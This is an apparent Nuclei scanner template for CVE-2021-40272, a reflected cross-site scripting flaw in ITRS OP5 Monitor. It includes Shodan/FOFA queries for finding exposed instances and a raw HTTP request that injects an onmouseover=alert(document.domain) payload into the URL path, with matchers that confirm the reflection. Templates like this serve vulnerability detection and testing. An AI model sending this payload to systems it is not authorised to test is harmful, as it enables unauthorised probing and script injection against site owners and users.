id: CVE-2021-40272

info:
  name: IRTS OP5 Monitor - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    OP5 Monitor 8.3.1, 8.3.2, and OP5 8.3.3 are vulnerable to Cross Site Scripting (XSS).
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Update to the latest version of OP5 Monitor to mitigate the XSS vulnerability.
  reference:
    - https://github.com/hosakauk/exploits/blob/master/itrs_op5_monitor_xss.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40272
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cve-id: CVE-2021-40272
    cwe-id: CWE-79
    epss-score: 0.01036
    epss-percentile: 0.59407
    cpe: cpe:2.3:a:op5:monitor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"ITRS"
    fofa-query: title="ITRS"
    product: monitor
    vendor: op5
  tags: cve2021,cve,irts,op5,xss,vuln

http:
  - raw:
      - |
        GET /api/help'onmouseover=alert(document.domain)/'/;/beta/license HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

    host-redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(body, "help\'onmouseover=alert(document.domain)/\'/;/beta/license?format=json\'>JSON")
          - contains_any(tolower(body), "op5 monitor", "itrs")
          - contains(content_type, "text/html")
          - status_code == 401
        condition: and
# digest: 4b0a0048304602210093c4f38b36329cfd9c128047cd3b832f514daaf1ae47d6ff27ded6923e3a532d022100de56eafcca4ceec2b1f1bf4fd0968d969a5ee293e7483b79849f19bec5a5735f:922c64590222798bb761d5b6d8e72950